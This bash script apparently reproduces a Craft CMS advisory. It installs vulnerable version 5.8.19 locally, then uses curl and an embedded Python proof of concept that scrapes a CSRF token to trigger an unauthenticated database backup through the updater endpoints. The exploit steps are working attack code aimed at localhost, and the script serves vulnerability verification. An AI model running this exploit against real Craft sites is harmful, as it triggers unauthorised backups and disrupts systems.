#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-v64r-7wg9-23pr (Craft CMS unauthenticated backup trigger)
# Self-contained, idempotent, produces logs under /bundle/logs
# Exit code: 0 if reproduction succeeded (backup evidence), 1 otherwise

SCRIPT_PATH="$(readlink -f "$0")"
BUNDLE_DIR="$(dirname "${SCRIPT_PATH}")"
LOG_DIR="${BUNDLE_DIR}/logs"
APP_ROOT="${BUNDLE_DIR}/repro"
APP_DIR="${APP_ROOT}/craftapp"

# Use PHP 8.2 specifically to satisfy vulnerable dependency tree
PHP_BIN="/usr/bin/php8.2"
COMPOSER_PHAR="/usr/local/bin/composer"
COMPOSER_CALL=("${PHP_BIN}" "${COMPOSER_PHAR}")

# Use system PostgreSQL to avoid mysql permission issues
DB_DRIVER=pgsql
DB_NAME="craft"
DB_USER="craftuser"
DB_PASS="craftpass"
DB_HOST="127.0.0.1"
DB_PORT="5432"

SERVER_HOST="127.0.0.1"
SERVER_PORT="8080"
BASE_URL="http://${SERVER_HOST}:${SERVER_PORT}"
NOW_TS=$(date +%Y%m%d-%H%M%S)
RUN_LOG="${LOG_DIR}/run-${NOW_TS}.log"
CURL_LOG="${LOG_DIR}/curl-${NOW_TS}.log"
PHP_SERVER_LOG="${LOG_DIR}/php-server-${NOW_TS}.log"
RESULT_FLAG_FILE="${LOG_DIR}/reproduced-${NOW_TS}.flag"
LATEST_FLAG_FILE="${LOG_DIR}/reproduced-latest.flag"

mkdir -p "${LOG_DIR}" "${APP_ROOT}"

echo "[INFO] Starting reproduction run at ${NOW_TS}" | tee -a "${RUN_LOG}"

echo "[INFO] Target BASE_URL=${BASE_URL}" | tee -a "${RUN_LOG}"

action_log_tail() {
  echo "--- CURL LOG (tail) ---" >>"${RUN_LOG}"
  tail -n 200 "${CURL_LOG}" >>"${RUN_LOG}" 2>&1 || true
  echo "--- PHP SERVER LOG (tail) ---" >>"${RUN_LOG}"
  tail -n 200 "${PHP_SERVER_LOG}" >>"${RUN_LOG}" 2>&1 || true
}

require_cmd() { command -v "$1" >/dev/null 2>&1; }

install_packages() {
  echo "[INFO] Installing dependencies..." | tee -a "${RUN_LOG}"
  export DEBIAN_FRONTEND=noninteractive
  apt-get update -y >>"${RUN_LOG}" 2>&1 || true
  apt-get install -y lsb-release ca-certificates apt-transport-https software-properties-common gnupg >>"${RUN_LOG}" 2>&1 || true
  apt-get install -y php8.2 php8.2-cli php8.2-mbstring php8.2-xml php8.2-curl php8.2-zip php8.2-pgsql php8.2-gd php8.2-intl php8.2-bcmath >>"${RUN_LOG}" 2>&1 || true
  apt-get install -y postgresql postgresql-client curl unzip git lsof python3 python3-requests jq >>"${RUN_LOG}" 2>&1 || true
  if [ ! -x "${COMPOSER_PHAR}" ]; then
    echo "[INFO] Installing Composer..." | tee -a "${RUN_LOG}"
    ${PHP_BIN} -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" >>"${RUN_LOG}" 2>&1 || true
    ${PHP_BIN} composer-setup.php --install-dir=/usr/local/bin --filename=composer >>"${RUN_LOG}" 2>&1 || true
    rm -f composer-setup.php || true
  fi
  echo "[INFO] PHP binary: $(${PHP_BIN} -v | head -n1)" | tee -a "${RUN_LOG}"
}

start_postgres_service() {
  echo "[INFO] Ensuring PostgreSQL service is running..." | tee -a "${RUN_LOG}"
  if command -v systemctl >/dev/null 2>&1; then
    systemctl start postgresql >>"${RUN_LOG}" 2>&1 || true
  fi
  if command -v service >/dev/null 2>&1; then
    service postgresql start >>"${RUN_LOG}" 2>&1 || true
  fi
  # Wait for socket
  for i in $(seq 1 60); do
    if psql -h ${DB_HOST} -p ${DB_PORT} -U postgres -d postgres -c "SELECT 1" >/dev/null 2>&1; then
      break
    fi
    sleep 1
  done
  if ! psql -h ${DB_HOST} -p ${DB_PORT} -U postgres -d postgres -c "SELECT 1" >/devnull 2>&1; then
    echo "[WARN] Direct psql as postgres failed; trying via runuser ..." | tee -a "${RUN_LOG}"
  fi
  # Create DB and user using the postgres OS account
  if command -v runuser >/dev/null 2>&1; then
    runuser -u postgres -- psql -p ${DB_PORT} -d postgres -c "SELECT version();" >>"${RUN_LOG}" 2>&1 || true
    runuser -u postgres -- psql -p ${DB_PORT} -d postgres <<SQL >>"${RUN_LOG}" 2>&1 || true
DO $$
BEGIN
   IF NOT EXISTS (SELECT FROM pg_roles WHERE rolname = '${DB_USER}') THEN
      CREATE ROLE ${DB_USER} LOGIN PASSWORD '${DB_PASS}';
   END IF;
END
$$;
DO $$
BEGIN
   IF NOT EXISTS (SELECT FROM pg_database WHERE datname = '${DB_NAME}') THEN
      CREATE DATABASE ${DB_NAME} OWNER ${DB_USER};
   END IF;
END
$$;
GRANT ALL PRIVILEGES ON DATABASE ${DB_NAME} TO ${DB_USER};
SQL
  else
    su -s /bin/bash -c "psql -p ${DB_PORT} -d postgres -c 'SELECT version();'" postgres >>"${RUN_LOG}" 2>&1 || true
    su -s /bin/bash -c "psql -p ${DB_PORT} -d postgres <<'EOS'
DO $$
BEGIN
   IF NOT EXISTS (SELECT FROM pg_roles WHERE rolname = '${DB_USER}') THEN
      CREATE ROLE ${DB_USER} LOGIN PASSWORD '${DB_PASS}';
   END IF;
END
$$;
DO $$
BEGIN
   IF NOT EXISTS (SELECT FROM pg_database WHERE datname = '${DB_NAME}') THEN
      CREATE DATABASE ${DB_NAME} OWNER ${DB_USER};
   END IF;
END
$$;
GRANT ALL PRIVILEGES ON DATABASE ${DB_NAME} TO ${DB_USER};
EOS" postgres >>"${RUN_LOG}" 2>&1 || true
  fi
}

setup_craft_app() {
  if [ ! -d "${APP_DIR}" ]; then
    echo "[INFO] Creating Craft CMS project..." | tee -a "${RUN_LOG}"
    "${COMPOSER_CALL[@]}" create-project craftcms/craft "${APP_DIR}" >>"${RUN_LOG}" 2>&1
  fi

  echo "[INFO] Forcing dependency tree compatible with PHP 8.2 and Craft 5.8.19..." | tee -a "${RUN_LOG}"
  "${COMPOSER_CALL[@]}" --working-dir="${APP_DIR}" config platform.php 8.2.20 >>"${RUN_LOG}" 2>&1 || true
  if command -v jq >/dev/null 2>&1; then
    jq '.require["craftcms/cms"] = "5.8.19"' "${APP_DIR}/composer.json" > "${APP_DIR}/composer.json.tmp" || true
    if [ -s "${APP_DIR}/composer.json.tmp" ]; then mv "${APP_DIR}/composer.json.tmp" "${APP_DIR}/composer.json"; fi
  else
    sed -i 's/"craftcms\/cms"\s*:\s*"[^"]\+"/"craftcms\/cms": "5.8.19"/' "${APP_DIR}/composer.json" || true
  fi
  rm -rf "${APP_DIR}/vendor" "${APP_DIR}/composer.lock"
  "${COMPOSER_CALL[@]}" --working-dir="${APP_DIR}" update --no-interaction --with-all-dependencies >>"${RUN_LOG}" 2>&1

  echo "[INFO] Installed craftcms/cms:" | tee -a "${RUN_LOG}"
  ("${COMPOSER_CALL[@]}" --working-dir="${APP_DIR}" show craftcms/cms || true) >>"${RUN_LOG}" 2>&1

  echo "[INFO] Writing .env and general.php..." | tee -a "${RUN_LOG}"
  mkdir -p "${APP_DIR}/config" "${APP_DIR}/storage/logs" "${APP_DIR}/storage/backups"
  cat >"${APP_DIR}/.env" <<ENV
CRAFT_ENVIRONMENT=dev
SECURITY_KEY=$(tr -dc 'a-zA-Z0-9' </dev/urandom | head -c 32)
DB_DRIVER=${DB_DRIVER}
DB_SERVER=${DB_HOST}
DB_PORT=${DB_PORT}
DB_DATABASE=${DB_NAME}
DB_USER=${DB_USER}
DB_PASSWORD=${DB_PASS}
PRIMARY_SITE_URL=${BASE_URL}/
APP_ID=cms-app
ENV
  cat >"${APP_DIR}/config/general.php" <<'PHP'
<?php
return [
    '*' => [
        'allowAdminChanges' => true,
        'backupOnUpdate' => true,
        'cpTrigger' => 'admin',
    ],
];
PHP

  echo "[INFO] Running Craft installation (idempotent)..." | tee -a "${RUN_LOG}"
  ${PHP_BIN} "${APP_DIR}/craft" setup/security-key >>"${RUN_LOG}" 2>&1 || true
  ${PHP_BIN} "${APP_DIR}/craft" install/cms \
      --interactive=0 \
      --username=admin \
      --password='Admin_password_123!' \
      --email='admin@example.com' \
      --siteName='Repro Site' \
      --language='en-US' >>"${RUN_LOG}" 2>&1 || true
}

start_php_server() {
  echo "[INFO] Starting PHP 8.2 built-in server at ${BASE_URL}..." | tee -a "${RUN_LOG}"
  if lsof -i TCP:${SERVER_PORT} -sTCP:LISTEN >/dev/null 2>&1; then
    PID=$(lsof -t -i TCP:${SERVER_PORT} -sTCP:LISTEN | head -n1 || true)
    [ -n "${PID:-}" ] && kill -9 "$PID" >/dev/null 2>&1 || true
  fi
  nohup ${PHP_BIN} -d variables_order=EGPCS -S ${SERVER_HOST}:${SERVER_PORT} -t "${APP_DIR}/web" "${APP_DIR}/web/index.php" >"${PHP_SERVER_LOG}" 2>&1 &
  echo $! > "${APP_ROOT}/php-server.pid"
  for i in $(seq 1 90); do
    if curl -fsS "${BASE_URL}/admin/login" >/dev/null 2>&1; then break; fi
    sleep 1
  done
  if ! curl -fsS "${BASE_URL}/admin/login" >/dev/null 2>&1; then
    echo "[ERROR] PHP server did not respond at ${BASE_URL}" | tee -a "${RUN_LOG}"
    action_log_tail
    exit 1
  fi
}

attempt_app_migrate() {
  echo "[INFO] Attempt 1: POST /admin/actions/app/migrate (unauthenticated, no CSRF)" | tee -a "${RUN_LOG}"
  {
    echo -e "\n--- Attempt 1 request/response ---"
    curl -i -sS -X POST "${BASE_URL}/admin/actions/app/migrate" \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      --data 'applyProjectConfigChanges=false' || true
  } >>"${CURL_LOG}" 2>&1
}

attempt_app_migrate_with_csrf() {
  echo "[INFO] Attempt 2: POST /admin/actions/app/migrate with CSRF token" | tee -a "${RUN_LOG}"
  python3 - <<'PY' >>"${CURL_LOG}" 2>&1 || true
import re, requests
BASE_URL = "${BASE_URL}"
s = requests.Session()
r = s.get(f"{BASE_URL}/admin/login", timeout=60)
r.raise_for_status()
m = re.search(r'name=\"CRAFT_CSRF_TOKEN\"\s+value=\"([^\"]+)\"', r.text)
csrf = m.group(1) if m else ''
print("[PY] csrf:", csrf[:16] + '...' if csrf else 'not found')
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"CRAFT_CSRF_TOKEN": csrf, "applyProjectConfigChanges": "false"}
r2 = s.post(f"{BASE_URL}/admin/actions/app/migrate", headers=headers, data=data, timeout=120)
print("[PY] app/migrate status:", r2.status_code)
print("[PY] app/migrate body (trunc):", r2.text[:1000])
PY
}

attempt_updater_flow() {
  echo "[INFO] Attempt 3: updater/index -> updater/backup (unauthenticated)" | tee -a "${RUN_LOG}"
  cat >"${APP_ROOT}/updater_poc.py" <<PY
import re, requests
BASE_URL = "${BASE_URL}"
s = requests.Session()
r = s.get(f"{BASE_URL}/admin/login", timeout=60)
r.raise_for_status()
m = re.search(r'name=\"CRAFT_CSRF_TOKEN\"\s+value=\"([^\"]+)\"', r.text)
csrf = m.group(1) if m else ''
print(f"[PY] CSRF token: {csrf[:10]}..." if csrf else "[PY] CSRF not found")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
payload = {"CRAFT_CSRF_TOKEN": csrf}
r2 = s.post(f"{BASE_URL}/admin/actions/updater/index", headers=headers, data=payload, timeout=120)
print("[PY] updater/index status:", r2.status_code)
text = r2.text
print("[PY] updater/index body (trunc):", text[:1000])
m2 = re.search(r'Craft\\.Updater\\(\"updater\"\\)\\.setState\\(.+?\"data\":\\s*\"([^\"]+)\"', text, re.S)
if m2:
    data_key = m2.group(1)
    print("[PY] Found data key (trunc):", data_key[:60])
    payload2 = {"CRAFT_CSRF_TOKEN": csrf, "data": data_key}
    r3 = s.post(f"{BASE_URL}/admin/actions/updater/backup", headers=headers, data=payload2, timeout=300)
    print("[PY] updater/backup status:", r3.status_code)
    print("[PY] updater/backup body (trunc):", r3.text[:2000])
else:
    print("[PY][WARN] Could not extract updater data key; updater/index response may differ.")
PY
  python3 "${APP_ROOT}/updater_poc.py" >>"${CURL_LOG}" 2>&1 || true
}

check_backup_evidence() {
  echo "[INFO] Checking for backup evidence..." | tee -a "${RUN_LOG}"
  BACKUP_DIR="${APP_DIR}/storage/backups"
  FOUND_FILE=$(ls -1t ${BACKUP_DIR}/*.sql* 2>/dev/null | head -n1 || true)
  if [ -n "${FOUND_FILE:-}" ]; then
    echo "[SUCCESS] Found backup file: ${FOUND_FILE}" | tee -a "${RUN_LOG}"
    echo "file=${FOUND_FILE}" > "${RESULT_FLAG_FILE}"
    ln -sf "${RESULT_FLAG_FILE}" "${LATEST_FLAG_FILE}" || true
    return 0
  fi
  if grep -E 'dbBackupPath|Updating database' -i "${CURL_LOG}" >/dev/null 2>&1; then
    echo "[SUCCESS] Detected backup initiation in HTTP response (see ${CURL_LOG})" | tee -a "${RUN_LOG}"
    echo "log=${CURL_LOG}" > "${RESULT_FLAG_FILE}"
    ln -sf "${RESULT_FLAG_FILE}" "${LATEST_FLAG_FILE}" || true
    return 0
  fi
  echo "[WARN] No definitive backup evidence found yet." | tee -a "${RUN_LOG}"
  return 1
}

main() {
  install_packages
  start_postgres_service
  setup_craft_app
  start_php_server

  attempt_app_migrate
  sleep 2
  attempt_app_migrate_with_csrf
  sleep 2
  attempt_updater_flow
  sleep 4

  if check_backup_evidence; then
    echo "[INFO] Reproduction SUCCESS" | tee -a "${RUN_LOG}"
    exit 0
  else
    action_log_tail
    echo "[ERROR] Reproduction NOT achieved. Check logs under ${LOG_DIR}" | tee -a "${RUN_LOG}"
    exit 1
  fi
}

main "$@"
